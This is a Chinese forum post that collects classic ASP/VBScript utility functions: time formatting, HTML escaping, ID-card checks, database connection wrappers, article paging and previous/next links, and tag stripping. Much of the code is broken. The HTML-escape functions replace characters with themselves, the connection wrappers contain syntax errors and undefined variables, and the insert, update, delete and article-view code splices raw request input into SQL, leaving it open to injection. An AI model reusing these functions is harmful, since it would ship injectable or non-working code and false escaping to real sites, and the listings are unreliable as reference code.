[TIPS]用来收集一些自写的asp函数
信息来源：邪恶八进制信息安全团队（[url]www.eviloctal.com[/url]）有些我写的，有些收集的，大都不知道作者谁了。
请原谅，如果侵犯版权请联系我。。
下面开始了，希望对我和别人有用。 : ' ============================================
' 格式化时间(显示)
' 参数：n_Flag
' 1:"yyyy-mm-dd hh:mm:ss"
' 2:"yyyy-mm-dd"
' 3:"hh:mm:ss"
' 4:"yyyy年mm月dd日"
' 5:"yyyymmdd"
' ============================================
Function Format_Time(s_Time, n_Flag)
Dim y, m, d, h, mi, s
Format_Time = ""
If IsDate(s_Time) = False Then Exit Function
y = cstr(year(s_Time))
m = cstr(month(s_Time))
If len(m) = 1 Then m = "0" & m
d = cstr(day(s_Time))
If len(d) = 1 Then d = "0" & d
h = cstr(hour(s_Time))
If len(h) = 1 Then h = "0" & h
mi = cstr(minute(s_Time))
If len(mi) = 1 Then mi = "0" & mi
s = cstr(second(s_Time))
If len(s) = 1 Then s = "0" & s
Select Case n_Flag
Case 1
' yyyy-mm-dd hh:mm:ss
Format_Time = y & "-" & m & "-" & d & " " & h & ":" & mi & ":" & s
Case 2
' yyyy-mm-dd
Format_Time = y & "-" & m & "-" & d
Case 3
' hh:mm:ss
Format_Time = h & ":" & mi & ":" & s
Case 4
' yyyy年mm月dd日
Format_Time = y & "年" & m & "月" & d & "日"
Case 5
' yyyymmdd
Format_Time = y & m & d
End Select
End Function
' ============================================
' 把字符串进行HTML解码,替换server.htmlencode
' 去除Html格式，用于显示输出
' ============================================
Function outHTML(str)
Dim sTemp
sTemp = str
outHTML = ""
If IsNull(sTemp) = True Then
Exit Function
End If
sTemp = Replace(sTemp, "&", "&")
sTemp = Replace(sTemp, "<", "<")
sTemp = Replace(sTemp, ">", ">")
sTemp = Replace(sTemp, Chr(34), """)
sTemp = Replace(sTemp, Chr(10), "<br>")
outHTML = sTemp
End Function
' ============================================
' 去除Html格式，用于从数据库中取出值填入输入框时
' 注意：value="?"这边一定要用双引号
' ============================================
Function inHTML(str)
Dim sTemp
sTemp = str
inHTML = ""
If IsNull(sTemp) = True Then
Exit Function
End If
sTemp = Replace(sTemp, "&", "&")
sTemp = Replace(sTemp, "<", "<")
sTemp = Replace(sTemp, ">", ">")
sTemp = Replace(sTemp, Chr(34), """)
inHTML = sTemp
End Function
' ============================================
' 检测上页是否从本站提交
' 返回:True,False
' ============================================
Function IsSelfRefer()
Dim sHttp_Referer, sServer_Name
sHttp_Referer = CStr(Request.ServerVariables("HTTP_REFERER"))
sServer_Name = CStr(Request.ServerVariables("SERVER_NAME"))
If Mid(sHttp_Referer, 8, Len(sServer_Name)) = sServer_Name Then
IsSelfRefer = True
Else
IsSelfRefer = False
End If
End Function
' ============================================
' 得到安全字符串,在查询中使用
' ============================================
Function Get_SafeStr(str)
Get_SafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
' ============================================
' 取实际字符长度
' ============================================
Function Get_TrueLen(str)
Dim l, t, c, i
l = Len(str)
t = l
For i = 1 To l
c = Asc(Mid(str, i, 1))
If c < 0 Then c = c + 65536
If c > 255 Then t = t + 1
Next
Get_TrueLen = t
End Function
' ============================================
' 判断是否安全字符串,在注册登录等特殊字段中使用
' ============================================
Function IsSafeStr(str)
Dim s_BadStr, n, i
s_BadStr = "' &<>?%,;:()`~!@#$^*{}[]|+-=" & Chr(34) & Chr(9) & Chr(32)
n = Len(s_BadStr)
IsSafeStr = True
For i = 1 To n
If Instr(str, Mid(s_BadStr, i, 1)) > 0 Then
IsSafeStr = False
Exit Function
End If
Next
End Function [code]Function CheckCardId(e)
arrVerifyCode = Split("1,0,x,9,8,7,6,5,4,3,2", ",")
Wi = Split("7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2", ",")
Checker = Split("1,9,8,7,6,5,4,3,2,1,1", ",")
If Len(e) < 15 Or Len(e) = 16 Or Len(e) = 17 Or Len(e) > 18 Then
CheckCardId= "身份证号共有 15 码或18位"
CheckCardId = False
Exit Function
End If
Dim Ai
If Len(e) = 18 Then
Ai = Mid(e, 1, 17)
ElseIf Len(e) = 15 Then
Ai = e
Ai = Left(Ai, 6) & "19" & Mid(Ai, 7, 9)
End If
If Not IsNumeric(Ai) Then
CheckCardId= "身份证除最后一位外，必须为数字！"
Exit Function
End If
Dim strYear, strMonth, strDay
strYear = CInt(Mid(Ai, 7, 4))
strMonth = CInt(Mid(Ai, 11, 2))
strDay = CInt(Mid(Ai, 13, 2))
BirthDay = Trim(strYear) + "-" + Trim(strMonth) + "-" + Trim(strDay)
If IsDate(BirthDay) Then
If DateDiff("yyyy",Now,BirthDay) <-140 or cdate(BirthDay)> date() Then
CheckCardId= "身份证输入错误！"
Exit Function
End If
If strMonth > 12 Or strDay > 31 Then
CheckCardId= "身份证输入错误！"
Exit Function
End If
Else
CheckCardId= "身份证输入错误！"
Exit Function
End If
Dim i, TotalmulAiWi
For i = 0 To 16
TotalmulAiWi = TotalmulAiWi + CInt(Mid(Ai, i + 1, 1)) * Wi(i)
Next
Dim modValue
modValue = TotalmulAiWi Mod 11
Dim strVerifyCode
strVerifyCode = arrVerifyCode(modValue)
Ai = Ai & strVerifyCode
CheckCardId = Ai
If Len(e) = 18 And e <> Ai Then
CheckCardId= "身份证号码输入错误！"
Exit Function
End If
End Function
[/code] Function CreateMdbRecordset(数据库文件名, 数据表名或Select语句 )
Dim conn,Provider,DBPath
’建立Connection 对象
Set conn = Server.CreateObject(“ADODB.Connection”)
Provider=“Provider=Microsoft.Jet.OLEDB.4.0；”
DBPath = “Data Source=” ＆ Server.MapPath(“数据库文件名”)
’打开数据库
conn.Open Provider ＆ DBPath
Set CreateMdbRecordset = Server.CreateObject(“ADODB.Recordset”)
’打开数据表
CreateMdbRecordset.Open “数据表名”, conn, 2, 2
End Function
2.建立带密码的MDB数据库的Recordset对象。它的建立方式与建立不带密码的MDB数据库的Recordset对象类似，只是多了一个密码参数，即在与数据库连接时，必须给出密码信息。
Function CreateSecuredMdbRecordset( 数据库文件名, 数据表名或Select语句，password )
Dim conn,Provider,DBPath
’建立Connection 对象
Set conn = Server.CreateObject(“ADODB.Connection”)
Provider = “Provider=Microsof.Jet.OLEDB.4.0；”
DBPath = “Data Source=”＆ Server.MapPath(“数据库文件名”)
’连接数据库,注意要带有密码参数
conn.Open Provider ＆ DBPath＆“Jet OLEDB:Database Password=”＆assword
Set CreateSecuredMdbRecordset = Server.
CreateObject(“ADODB.Recordset”)
’打开数据表
CreateSecuredMdbRecordset.Open “数据表名”, conn, 2, 2
End Function Function CreateDbfRecordset( 目录名, DBF文件名或Select语句 )
Dim conn,Driver,SourceType,DBPath
’建立Connection 对象
Set conn = Server.CreateObject(“ADODB.Connection”)
Driver=“Driver={Microsoft Visual FoxProDriver};” SourceType = “SourceType=DBF;”
DBPath=“SourceDB=” ＆ Server.MapPath(“目录名”)
’调用Open 方法打开数据库
conn.Open Driver ＆ SourceType ＆ DBPath
Set CreateDbfRecordset = Server.CreateObject(“ADODB.Recordset”)
’打开DBF文件
CreateDbfRecordset.Open “DBF文件名或Select语句”, conn, 2, 2
End Function
Function CreateDbcRecordset( DBC数据库文件名, 数据表名或Select语句 )
Dim conn,Driver,SourceType,DBPath
’建立Connection 对象
Set conn = Server.CreateObject(“ADODB.Connection”)
Driver=“Driver={Microsoft Visual FoxPro Driver};”
SourceType = “SourceType=DBC;”
DBPath = “SourceDB=” ＆ Server.MapPath(“DBC数据库文件名”)
’连接数据库
conn.Open Driver ＆ SourceType ＆ DBPath
Set CreateDbcRecordset = Server.CreateObject(“ADODB.Recordset”)
’打开数据表
CreateDbcRecordset.Open“数据表名或Select语句”, conn, 2, 2
End Function
Function CreateExcelRecordset(XLS文件名,Sheet名)
Dim conn.Driver,DBPath
’建立Connection对象
Set conn = Server.CreateObject(“ADODB.Connection”)
Driver=“Driver={Microsoft Excel Driver (＊.xls)};”
DBPath = “DBQ=” ＆ Server.MapPath(“XLS文件名”)
’调用Open 方法打开数据库
conn.Open Driver ＆ DBPath
Set CreateExcelRecordset = Server.CreateObject(“ADODB.Recordset”)
’打开Sheet
CreateExcelRecordset.Open “Select ＊ From [”＆sheet＆“＄]”, conn, 2, 2
End Function
Function CreateSQLServerRecordset(计算机名称,用户ID, 用户密码,数据库名称 数据表或查看表或Select指令 )
Dim Params, conn
Set CreatSQLServerConnection = Nothing
Set conn = Server.CreateObject (“ADODB.Connection”)
Params = “Provider=SQLOLEDB.1”
Params = Params ＆ “;Data Source=” ＆ Computer
Params = Params ＆ “;User ID=” ＆ UserID
Params = Params ＆ “;Password=” ＆ Password
Params = Params ＆ “.Initial Catalog=”＆数据库名称
Conn open Paras
Set CreateSQLServerRecordset = Server. CreateObject(“ADODB.Recordset")
CreateSQLServerRecordset.Open source, conn, 2, 2
End Function '*======================================
'* 名称：useDb.asp
'* 功能：数据库操作函数库
'* 作者：intereye
'* 信箱：[email]inteye@163.com[/email]
'* 主页：[url]http://www.inteye.net[/url]
'* BLOG：[url]http://blog.csdn.net/intereye[/url]
'*======================================
'* 函数：openDb(dbType,dbUser,dbPass,dbName,dbServer,dbPath)
'* 功能：打开数据库连接
'* 参数：dbType->数据库类型 MDB ACCESS数据库 || SQLSERVER SQLSERVER数据库
'* 参数：dbUser->访问数据库用户名
'* 参数：dbPass->访问数据库密码
'* 参数：dbName->数据库名称
'* 参数：dbServer->数据库Host
'* 参数：dbPath->数据库路径
Function openDb(dbType,dbUser,dbPass,dbName,dbServer,dbPath)
Dim Conn
Set Conn = Server.CreateObject("ADODB.Connection")
Select case dbType
case "MDB":
connStr = "driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(""&dbPath&dbName&"")
case "SQLSERVER":
connStr = "Provider=SQLOLEDB.1;Password="&dbPass&";Persist Security Info=True;User ID="&dbUser&";Initial Catalog="&dbName&";Data Source="&dbServer&""
End Select
Conn.Open connStr
End Function
'* 函数：add(tabname,fieldlist,dblist)
'* 功能：在数据库中插入一条记录
'* 参数：tabname->数据表名
'* 参数：dblist->数据表字段名数组
'* 参数：fieldlist->表单变量名数组
'* 返回：0 false || 1 true
Function add(tabname,dblist,fieldlist)
Sql = "INSERT INTO "&tabname&"("
Value = ""
Field = ""
For Each v in dblist
Field = Field & v & ","
Next
Field = Left(Field,Len(Field)-1)
Value = Field & ") VALUES("
For Each v in fieldlist
If Request.Form(v) <> "" Then
Value = Value & "'" & Request.Form(v) & "',"
Else
Value = Value & "'" & v & "',"
End If
Next
Value = Left(Value,Len(Value)-1)
Sql = Sql & Value & ")"
Conn.Execute(Sql)
CloseDb()
If Err Then
add = 0
Else
add = 1
End If
End Function
'* 函数：update(tabname,dblist,fieldlist,id)
'* 功能：更新数据库中指定的一条记录
'* 参数：tabname->数据表名
'* 参数：dblist->数据库字段名称数组
'* 参数：fieldlist->表单变量名数组
'* 参数：id->数据ID号
'* 返回：0 false || 1 true
Function update(tabname,dblist,fieldlist,id)
Sql = "UPDATE " & tabname & " Set "
Value = ""
For i=0 to ubound(dblist)
Value = Value & dblist(i) & "='"
If Request.Form(fieldlist(i)) <> "" Then
Value = Value & Request.Form(fieldlist(i)) & "',"
Else
Value = Value & fieldlist(i) & "',"
End If
Next
Value = Left(Value,Len(Value)-1)
Sql = Sql & Value & " WHERE id=" & id
Conn.Execute(Sql)
CloseDb()
If Err Then
update = 0
Else
update = 1
End If
End Function
'* 函数：del(tabname,id)
'* 功能：从数据库中删除一条指定记录
'* 参数：tabname->数据表名称
'* 参数：id->数据ID号
'* 返回：0 false || 1 true
Function del(tabname,id)
Sql = "DELETE FROM " & tabname & " WHERE id in(" & id & ")"
Conn.Execute(Sql)
CloseDb()
If Err Then
del = 0
Else
del = 1
End If
End Function
'* 函数：getRow(tabname,fieldlist,caseStr)
'* 功能：从数据库中取得一行
'* 参数：tabname->数据表名
'* 参数：fieldlist->数据字段数组
'* 参数：caseStr->Sql条件语句
Function getRow(tabname,fieldlist,caseStr)
If Not isArray(fieldlist) Then
fieldlist = "*"
Else
Field = ""
For Each val in fieldlist
Field = Field & val & ","
Next
fieldlist = Left(Field,Len(Field)-1)
End If
Sql = "SELECT " & fieldlist & " FROM " & tabname & caseStr
Set Rs = Conn.Execute(Sql)
If Rs.Eof AND Rs.Bof Then
getRow = 0
Else
getRow = 1
End If
End Function
'* 函数：CloseDb()
'* 功能：关闭数据库连接并释放对象
Function CloseDb()
Conn.Close
Set Conn = Nothing
End Function Sub TurnPage(ByRef Rs_tmp,PageSize) 'Rs_tmp 记录集 ; PageSize 每页显示的记录条数;
Dim TotalPage '总页数
Dim PageNo '当前显示的是第几页
Dim RecordCount '总记录条数
Rs_tmp.PageSize = PageSize
RecordCount = Rs_tmp.RecordCount
TotalPage = INT(RecordCount / PageSize * -1)*-1
PageNo = Request.QueryString ("PageNo")
'直接输入页数跳转；
If Request.Form("PageNo")<>"" Then PageNo = Request.Form("PageNo")
'如果没有选择第几页，则默认显示第一页；
If PageNo = "" then PageNo = 1
If RecordCount <> 0 then
Rs_tmp.AbsolutePage = PageNo
End If
'获取当前文件名，使得每次翻页都在当前页面进行；
Dim fileName,postion
fileName = Request.ServerVariables("script_name")
postion = InstrRev(fileName,"/")+1
'取得当前的文件名称，使翻页的链接指向当前文件；
fileName = Mid(fileName,postion)
%>
<table border=0 width='100%'>
<tr>
<td align=left> 总页数：<font color=#ff3333><%=TotalPage%></font>页
当前第<font color=#ff3333><%=PageNo%></font>页</td>
<td align="right">
<%If RecordCount = 0 or TotalPage = 1 Then
Response.Write "首页|前页|后页|末页"
Else%>
<a href="<%=fileName%>?PageNo=1">首页|</a>
<%If PageNo - 1 = 0 Then
Response.Write "前页|"
Else%>
<a href="<%=fileName%>?PageNo=<%=PageNo-1%>">前页|</a>
<%End If
If PageNo+1 > TotalPage Then
Response.Write "后页|"
Else%>
<a href="<%=fileName%>?PageNo=<%=PageNo+1%>">后页|</a>
<%End If%>
<a href="<%=fileName%>?PageNo=<%=TotalPage%>">末页</a>
<%End If%></td>
<td width=95>转到第
<%If TotalPage = 1 Then%>
<input type=text name=PageNo size=3 readonly disabled style="background:#d3d3d3">
<%Else%>
<input type=text name=PageNo size=3 value="" title=请输入页号,然后回车>
<%End If%>页
</td>
</tr>
</table>
<%End Sub%> 实现上一篇和下一篇文章。。
dim newsup '定义上一篇纪录
dim newsnext ‘定义下一篇纪录
set rst=server.CreateObject("adodb.recordset")
newssql="select top 1 newsid,title from news where typeid="&newstypeid&" and newsid<"&newsid&" order by newsid desc "
rst.open newssql,conn,1,1
if rst.eof then
newsup = "没有了"
else
newsup = "<a href=readnews.asp?id="&rst("newsid")&">"&rst("title")&"</a>"
end if
newsup="上一篇："&newsup
rst.close
newssql="select top 1 newsid,title from news where typeid="&newstypeid&" and newsid>"&newsid
rst.open newssql,conn,1,1
if rst.eof then
newsnext = "没有了"
else
newsnext = "<a href=readnews.asp?id="&rst("newsid")&">"&rst("title")&"</a>"
end if
newsnext="下一篇："&newsnext
rst.close
set rst=nothing
%> <!--程序开始-->
'定义一个thenext函数来找出下一篇的ID，如果当前记录已经是最后一条记录，则输出文字“没有了”
<%
function thenext
newrs=server.CreateObject("adodb.recordset")
sql="select top 1 * from articles where id>"&a1&" order by id"
set newrs=conn.execute(sql)
if newrs.eof then
response.Write("没有了")
else
a2=newrs("id")
response.Write("<a href='view.asp?id="&a2&"'>下一篇</a>")
end if
end function
%>
'定义一个thehead函数来找出下一篇的ID，如果当前记录已经是最前面的一条记录，则输出文字“没有了”
<%
function thehead
headrs=server.CreateObject("adodb.recordset")
sql="select top 1 * from articles where id<"&a1&" order by id desc"
set headrs=conn.execute(sql)
if headrs.eof then
response.Write("没有了")
else
a0=headrs("id")
response.Write("<a href='view.asp?id="&a0&"'>上一篇</a>")
end if
end function
%>
'数据库连接文件
<!--#include file="conn.asp"-->
'取得传递过来的ID，显示文章标题作者和内容
<%
id=request("id")
sql="select * from articles where id="&id
set rs=conn.execute(sql)
%>
<% boardid=rs("boardid") %>
<title>文章系统-<% =rs("title") %></title><body leftmargin="0" topmargin="0">
<!--#include file="top.asp" -->
<%
Do While Not rs.EOF
%>
<table width="773" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td width="576" align="left">
<table width="557" border="0" cellspacing="5" cellpadding="4" align="left">
<tr>
<td colspan="2" align="center"><span style="font-size:9pt color:#efefef"><%= rs("title") %><br>
<div align="right"><span style="font-size:9pt color:#efefef">作者：<%= rs("author") %></span></div>
</span></td>
</tr>
<tr>
<td colspan="2" ><span style="font-size:9pt color:#efefef"><!--将数据库的资料取出，经过编码后输出，保持输入时的格式不变--><%= replace(server.HTMLEncode(rs("content")),chr(13),"<br>") %></span></td>
</tr>
<% a1=rs("id") %>
<tr>
<td width="269" align="right"><!--调用前面定义的显示上一篇的函数--><% thehead %></td>
<td width="257" align="right"><!--调用前面定义的显示下一篇的函数--><% thenext %></td>
</tr>
<% rs.MoveNext%>
<%Loop%>
</table></td>
<td width="217" valign="top" align="left">相关文章：
'根据当前文章的栏目号，找出同一栏目的文章
<%
sql="select * from articles where boardid="&boardid&""
set rs=conn.execute(sql)
%>
<%
Do While Not rs.EOF
%>
<table width="207" border="0" cellspacing="2" cellpadding="2">
<tr>
<td height="20"><a href="view.asp?id=<%=rs("id")%>"><%= rs("title") %></a></td>
</tr>
</table>
<% rs.MoveNext%>
<%Loop%>
</td>
</tr>
</table>
</body>
<!--程序结束--> Rem==上一篇==
Rem======================================================
Rem= 参数说明:
Rem= pid当前ID,prame:栏目前辍(如一般web_news表,字段时一般为wn_**,prame就代表wn)
Rem= ptable(表前辍.如一般表名是:站点名_表名(shenzhe_news) ptable:就代表shenzhe)
Rem= 说明:采用上面命名法,可使该过程达到通用
Rem=====================================================
Function GetPre(pid,prame,ptable)
id = prame&"_id"
title = prame&"_title"
table = "city_"&ptable
url = "show_"&ptable
sql = "SELECT TOP 1 "&id&","&title&" FROM "&table&" WHERE "&id&"<"&pid&" ORDER BY "&id&" DESC"
set rs = Conn.Execute(sql)
If rs.eof or rs.bof Then
pre = "上一篇:没有新闻了"
Else
pre = "<a href="&url&".asp?"&id&"="&rs(0)&">"&rs(1)&"</a>"
End If
GetPre = pre
End Function
Rem = 下一篇
Rem=============
Rem= 参数函意和上过程一样
Rem==========
Function GetNext(nid,nrame,ntable)
id = nrame&"_id"
title = nrame&"_title"
table = "city_"&ntable
url = "show_"&ntable
sql = "SELECT TOP 1 "&id&","&title&" FROM "&table&" WHERE "&id&">"&nid&" ORDER BY "&id&" "
set rs = Conn.Execute(sql)
If rs.eof or rs.bof Then
nnext = "下一篇:没有新闻了"
Else
nnext = "<a href="&url&".asp?"&id&"="&rs(0)&">下一篇:"&rs(1)&"</a>"
End If
GetNext = nnext
End Function
实现代码:
偶数据库里有表:
city_active city_date city_note
city_active主要字段有: ca_id,cd_title
city_date主要字段有: cd_id,cd_title
city_note主要字段有: cn_id, cn_title
这样引用就可:
在show_note.asp?cn_id=4里引用上一篇下一篇
<%=GetPre(cn_id,"cn","note")%> ' 上一篇
<%=GetNext(cn_id,"cn","note")%> ' 下一篇 ' 错误返回处理
' ============================================
Sub GoError(str)
Call DBConnEnd()
Response.Write "<script language=javascript>alert('" & str & "\n\n系统将自动返回前一页面...');history.back();</script>"
Response.End
End Sub
' ============================================
' 得到安全字符串,在查询中或有必要强行替换的表单中使用
' ============================================
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function ' ============================================
' 把字符串进行HTML解码,替换server.htmlencode
' 去除Html格式，用于显示输出
' ============================================
Function outHTML(str)
Dim sTemp
sTemp = str
outHTML = ""
If IsNull(sTemp) = True Then
Exit Function
End If
sTemp = Replace(sTemp, "&", "&")
sTemp = Replace(sTemp, "<", "<")
sTemp = Replace(sTemp, ">", ">")
sTemp = Replace(sTemp, Chr(34), """)
sTemp = Replace(sTemp, Chr(10), "<br>")
outHTML = sTemp
End Function
' ============================================
' 去除Html格式，用于从数据库中取出值填入输入框时
' 注意：value="?"这边一定要用双引号
' ============================================
Function inHTML(str)
Dim sTemp
sTemp = str
inHTML = ""
If IsNull(sTemp) = True Then
Exit Function
End If
sTemp = Replace(sTemp, "&", "&")
sTemp = Replace(sTemp, "<", "<")
sTemp = Replace(sTemp, ">", ">")
sTemp = Replace(sTemp, Chr(34), """)
inHTML = sTemp
End Function
' ===============================================
' 初始化下拉框
' s_FieldName : 返回的下拉框名
' a_Name : 定值名数组
' a_Value : 定值值数组
' v_InitValue : 初始值
' s_Sql : 从数据库中取值时,select name,value from table
' s_AllName : 空值的名称,如:"全部","所有","默认"
' ===============================================
Function InitSelect(s_FieldName, a_Name, a_Value, v_InitValue, s_Sql, s_AllName)
Dim i
InitSelect = "<select name='" & s_FieldName & "' size=1>"
If s_AllName <> "" Then
InitSelect = InitSelect & "<option value=''>" & s_AllName & "</option>"
End If
If s_Sql <> "" Then
oRs.Open s_Sql, oConn, 0, 1
Do While Not oRs.Eof
InitSelect = InitSelect & "<option value=""" & inHTML(oRs(1)) & """"
If oRs(1) = v_InitValue Then
InitSelect = InitSelect & " selected"
End If
InitSelect = InitSelect & ">" & outHTML(oRs(0)) & "</option>"
oRs.MoveNext
Loop
oRs.Close
Else
For i = 0 To UBound(a_Name)
InitSelect = InitSelect & "<option value=""" & inHTML(a_Value(i)) & """"
If a_Value(i) = v_InitValue Then
InitSelect = InitSelect & " selected"
End If
InitSelect = InitSelect & ">" & outHTML(a_Name(i)) & "</option>"
Next
End If
InitSelect = InitSelect & "</select>"
End Function function cLeft(str,n)
dim str1,str2,alln,Islefted
str2 = ""
alln = 0
str1 = str
Islefted = false
if isnull(str) then
cleft = ""
exit function
end if
for i = 1 to len(str1)
nowstr = mid(str1,i,1)
if asc(nowstr)<0 then
alln = alln + 2
else
alln = alln + 1
end if
if (alln<=n) then
str2 = str2 & nowstr
else
Islefted = true
exit for
end if
next
if Islefted then
str2 = str2 & ".."
end if
cleft = str2
end function
function MyRandc(n) '生成随机字符，n为字符的个数
dim thechr
thechr = ""
for i=1 to n
dim zNum,zNum2
Randomize
zNum = cint(25*Rnd)
zNum2 = cint(10*Rnd)
if zNum2 mod 2 = 0 then
zNum = zNum + 97
else
zNum = zNum + 65
end if
thechr = thechr & chr(zNum)
next
MyRandc = thechr
end function
function MyRandn(n) '生成随机数字，n为数字的个数
dim thechr
thechr = ""
for i=1 to n
dim zNum,zNum2
Randomize
zNum = cint(9*Rnd)
zNum = zNum + 48
thechr = thechr & chr(zNum)
next
MyRandn = thechr
end function
function formatQueryStr(str) '格式化sql中的like字符串
dim nstr
nstr = str
nstr = replace(nstr,chr(0),"")
nstr = replace(nstr,"'","''")
nstr = replace(nstr,"[","[[]")
nstr = replace(nstr,"%","[%]")
formatQueryStr = nstr
end function
function GetRnd(min,max)
Randomize
GetRnd = Int((max - min + 1) * Rnd + min)
end function
Function GetRepeatTimes(TheChar,TheString)
GetRepeatTimes = (len(TheString)-len(replace(TheString,TheChar,"")))/len(TheChar)
End Function
Function RegReplace(Str,PatternStr,RepStr)
Dim NewStr,regEx
NewStr = Str
if isnull(NewStr) then
RegReplace = ""
exit function
end if
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern=PatternStr
NewStr = regEx.Replace(NewStr,RepStr)
RegReplace = NewStr
end function <%
’这里要处理接收到的分页参数，以此来进行显示第几页的内容
’下面这两句就是如果没有page这个参数传来就让变量pageNum取显示第一页的值：0
If Request("page")="" Then
pageNum=0
’否则就给变量赋值为传递来的page里的参数，来显示其他页
Else
pageNum=Request("page")
End if
%>
<%
’这里就是关键了
’我们用split函数将文章分段取出存入变量content
ContentStr=split(Content,"|||")
’按照刚才从URL参数中取得的要显示那面的那个变量，就循环显示一页
For i=pageNum to pageNum
response.write contentstr(i)
Next
’分页的地方，用ubound(ContentStr)取得文章一共分为几页，注意这里是从0开始，所以总页数需要加1
For p = 0 to ubound(ContentStr)
’链接还是本页面，只不过文章ID参数后面还要加上一个分页的参数:page
%>
<a href="display.asp?ID=<%=rsquest("ID")%>&page=<%=p%>" class=""><%=p+1%></a>
<% Next %> ASP自定义函数：对字符串正则替换
RegReplace(str,regexStr,RepalceStr) 对str 进行正则替换
如：
htmlstr = "123<img src=""asdf.gif"" border=""0"">45<b>6</b>"
htmlstr2 = RegReplace(htmlstr,"<(.[^><]*)>","")
返回 htmlstr2 为123456
Function RegReplace(Str,PatternStr,RepStr)
Dim NewStr,regEx
NewStr = Str
if isnull(NewStr) then
RegReplace = ""
exit function
end if
Set regEx = New RegExp
regEx.IgnoreCase = True
regEx.Global = True
regEx.Pattern=PatternStr
NewStr = regEx.Replace(NewStr,RepStr)
RegReplace = NewStr
end function 函数用于去除文本中的html标签,可以控制删除哪些标签.
要控制被删除的标签列表,可以通过向TAGLIST常数中添加/删除标记来实现. 例如,要保留所有的<B>标签,则从TAGLIST中删除B. 当前的列表包含了MSDN中的所有html标签以及 LAYER 标签. 每个标签要用";"括起来.
开始标签和结束标签都会被删除,例如"<A...>"和</A...>
若标签同时在 TAGLIST 和 BLOCKTAGLIST 常数中,则起始标签和结束标签之间的所有内容都会被删除
没有结束标记的标签不被视为html标签,其内容不会被删除
块标签若没有结尾标记,从此标签开始到文本结束的所有内容会被删除
若"<!--"后跟的字符不是空格,注释标签不会被删除
使用这个函数很简单: strPlainText = RemoveHTML(strTextWithHTML)
函数内容如下:
Function RemoveHTML( strText )
Dim TAGLIST
TAGLIST = ";!--;!DOCTYPE;A;ACRONYM;ADDRESS;APPLET;AREA;B;BASE;BASEFONT;" &_
"BGSOUND;BIG;BLOCKQUOTE;BODY;BR;BUTTON;CAPTION;CENTER;CITE;CODE;" &_
"COL;COLGROUP;COMMENT;DD;DEL;DFN;DIR;DIV;DL;DT;EM;EMBED;FIELDSET;" &_
"FONT;FORM;FRAME;FRAMESET;HEAD;H1;H2;H3;H4;H5;H6;HR;HTML;I;IFRAME;IMG;" &_
"INPUT;INS;ISINDEX;KBD;LABEL;LAYER;LAGEND;LI;LINK;LISTING;MAP;MARQUEE;" &_
"MENU;META;NOBR;NOFRAMES;NOSCRIPT;OBJECT;OL;OPTION;P;PARAM;PLAINTEXT;" &_
"PRE;Q;S;SAMP;SCRIPT;SELECT;SMALL;SPAN;STRIKE;STRONG;STYLE;SUB;SUP;" &_
"TABLE;TBODY;TD;TEXTAREA;TFOOT;TH;THEAD;TITLE;TR;TT;U;UL;VAR;WBR;XMP;"
Const BLOCKTAGLIST = ";APPLET;EMBED;FRAMESET;HEAD;NOFRAMES;NOSCRIPT;OBJECT;SCRIPT;STYLE;"
Dim nPos1
Dim nPos2
Dim nPos3
Dim strResult
Dim strTagName
Dim bRemove
Dim bSearchForBlock
nPos1 = InStr(strText, "<")
Do While nPos1 > 0
nPos2 = InStr(nPos1 + 1, strText, ">")
If nPos2 > 0 Then
strTagName = Mid(strText, nPos1 + 1, nPos2 - nPos1 - 1)
strTagName = Replace(Replace(strTagName, vbCr, " "), vbLf, " ")
nPos3 = InStr(strTagName, " ")
If nPos3 > 0 Then
strTagName = Left(strTagName, nPos3 - 1)
End If
If Left(strTagName, 1) = "/" Then
strTagName = Mid(strTagName, 2)
bSearchForBlock = False
Else
bSearchForBlock = True
End If
If InStr(1, TAGLIST, ";" & strTagName & ";", vbTextCompare) > 0 Then
bRemove = True
If bSearchForBlock Then
If InStr(1, BLOCKTAGLIST, ";" & strTagName & ";", vbTextCompare) > 0 Then
nPos2 = Len(strText)
nPos3 = InStr(nPos1 + 1, strText, "</" & strTagName, vbTextCompare)
If nPos3 > 0 Then
nPos3 = InStr(nPos3 + 1, strText, ">")
End If
If nPos3 > 0 Then
nPos2 = nPos3
End If
End If
End If
Else
bRemove = False
End If
If bRemove Then
strResult = strResult & Left(strText, nPos1 - 1)
strText = Mid(strText, nPos2 + 1)
Else
strResult = strResult & Left(strText, nPos1)
strText = Mid(strText, nPos1 + 1)
End If
Else
strResult = strResult & strText
strText = ""
End If
nPos1 = InStr(strText, "<")
Loop
strResult = strResult & strText
RemoveHTML = strResult
End Function <%
'判断文件名是否合法
Function isFilename(aFilename)
Dim sErrorStr,iNameLength,i
isFilename=TRUE
sErrorStr=Array("/","\",":","*","?","""","<",">","|")
iNameLength=Len(aFilename)
If iNameLength<1 Or iNameLength=null Then
isFilename=FALSE
Else
For i=0 To 8
If instr(aFilename,sErrorStr(i)) Then
isFilename=FALSE
End If
Next
End If
End Function
'去掉字符串头尾的连续的回车和空格
function trimVBcrlf(str)
trimVBcrlf=rtrimVBcrlf(ltrimVBcrlf(str))
end function
'去掉字符串开头的连续的回车和空格
function ltrimVBcrlf(str)
dim pos,isBlankChar
pos=1
isBlankChar=true
while isBlankChar
if mid(str,pos,1)=" " then
pos=pos+1
elseif mid(str,pos,2)=VBcrlf then
pos=pos+2
else
isBlankChar=false
end if
wend
ltrimVBcrlf=right(str,len(str)-pos+1)
end function
'去掉字符串末尾的连续的回车和空格
function rtrimVBcrlf(str)
dim pos,isBlankChar
pos=len(str)
isBlankChar=true
while isBlankChar and pos>=2
if mid(str,pos,1)=" " then
pos=pos-1
elseif mid(str,pos-1,2)=VBcrlf then
pos=pos-2
else
isBlankChar=false
end if
wend
rtrimVBcrlf=rtrim(left(str,pos))
end function
'判断Email是否有效,返回1表示正确
Function isEmail(aEmail)
Dim iLocat,v,iLength,i,checkletter
If instr(aEmail,"@") = 0 Or instr(aEmail,".") = 0 Then
isEmail=0
EXIT FUNCTION
End If
iLocat=instr(aEmail,"@")
If instr(iLocat,aEmail,".")=0 Or instr(iLocat+1,aEmail,"@")>0 Then
isEmail=0
EXIT FUNCTION
End If
